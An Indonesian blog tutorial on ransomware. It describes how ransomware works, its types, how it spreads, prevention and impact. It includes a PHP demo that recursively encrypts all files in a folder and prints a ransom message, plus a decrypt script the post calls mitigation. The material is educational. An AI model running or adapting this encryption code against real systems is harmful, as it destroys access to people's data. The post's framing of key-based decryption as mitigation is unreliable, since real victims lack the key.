RANSOMWARE

Ransomware adalah jenis malware yang mengunci atau mengenkripsi file pada sistem korban, kemudian meminta tebusan untuk mengembalikan akses. Biasanya, tebusan tersebut diminta dalam bentuk cryptocurrency seperti Bitcoin untuk menjaga anonimitas pelaku.

Cara Kerja Ransomware:

Infeksi: Melalui email phishing, situs web berbahaya, atau unduhan software yang terinfeksi. 

Enkripsi: Mengunci file penting pada komputer atau jaringan korban. 

Permintaan Tebusan: Pesan tebusan muncul, meminta pembayaran dalam cryptocurrency. 

Dekripsi (Opsional): Jika tebusan dibayar, kunci dekripsi mungkin (tetapi tidak selalu) diberikan. 

Jenis Ransomware:

Encrypting Ransomware: Menggunakan enkripsi untuk mengunci file. 

Locker Ransomware: Mengunci akses ke sistem, tetapi tidak mengenkripsi file. 

Scareware: Menakut-nakuti korban dengan pesan palsu, meminta tebusan untuk memperbaiki masalah yang tidak ada. 

Doxware: Mengancam untuk mempublikasikan data pribadi korban kecuali tebusan dibayar. 

Metode Penyebaran

Ransomware sering disebarkan melalui email phishing yang berisi lampiran berbahaya atau tautan ke situs yang terinfeksi. Selain itu, ransomware juga dapat menyebar melalui jaringan yang rentan, perangkat USB, atau dengan mengeksploitasi kerentanan perangkat lunak.

Pencegahan: Untuk melindungi diri dari ransomware, penting untuk selalu melakukan backup data secara rutin, mengupdate perangkat lunak dan sistem operasi, serta menggunakan solusi keamanan yang kuat seperti antivirus dan firewall. Selain itu, edukasi karyawan tentang risiko phishing dan praktik keamanan siber yang baik juga sangat penting.

DEMO RANSOMWARE

- Buat folder ransomware, di dalam folder tersebut buat lagi folder target_folder 

- Isikan target_folder beberapa file contoh yang akan di encrypt oleh ransomware 

- Buat file encrypt.php dan isikan kode berikut: 

<?php
// Generate key
$key = base64_encode(openssl_random_pseudo_bytes(32));
// Simpan kunci ke file (untuk dekripsi nantinya)
file_put_contents('key.txt', $key);
// Fungsi untuk mengenkripsi file
function encryptFile($file, $key) {
$data = file_get_contents($file);
$method = 'aes-256-cbc';
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($method));
$encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
$encrypted .= '::' . base64_encode($iv);
file_put_contents($file, $encrypted);
}
// Tentukan folder yang akan dienkripsi
$folder = './target_folder';
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
foreach ($files as $file) {
if ($file->isFile()) {
encryptFile($file->getRealPath(), $key);
}
}
echo "Semua file telah dienkripsi. Bayar tebusan untuk mendapatkan kunci dekripsi.";
?>

- Jalankan serangan ransomware di browser dengan mengetikkan http://localhost/ransomware/encrypt.php 

- Cek folder target_folder dan buka isi filenya 



Folder yang semula bisa terbuka, menjadi terkunci ketika mendapatkan Ransomware.


Bentuk mitigasi yang bisa dilakukan

- Buat file decrypt.php dengan kode berikut untuk mendekripsi file yang terenkripsi:

<?php
// Load the key from the file
$key = file_get_contents('key.txt');

// Fungsi untuk mendekripsi file
function decryptFile($file, $key) {
    $data = file_get_contents($file);
    list($encrypted_data, $iv) = explode('::', $data, 2);
    $method = 'aes-256-cbc';
    $decrypted = openssl_decrypt($encrypted_data, $method, $key, 0, base64_decode($iv));
    file_put_contents($file, $decrypted);
}

// Tentukan folder yang akan didekripsi
$folder = './target_folder';

$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
foreach ($files as $file) {
    if ($file->isFile()) {
        decryptFile($file->getRealPath(), $key);
    }
}
echo "Semua file telah didekripsi.";
?>

- Jalankan file tersebut dengan mengetikkan: http://localhost/ransomware/decrypt.php 


- Dan lihat kembali di folder target_folder




Dampak: Serangan ransomware dapat menyebabkan kerugian finansial yang signifikan karena korban harus membayar tebusan untuk mendapatkan kembali akses ke data mereka. Selain itu, serangan ini juga dapat menyebabkan kerugian data, gangguan operasional, dan kerusakan reputasi bagi organisasi.





Komentar

Postingan populer dari blog ini

Open Source Intelligence (OSINT)

Mengenal MongoDB For VSCode

GETTING STARTED WITH MATPLOTLIB & SEABORN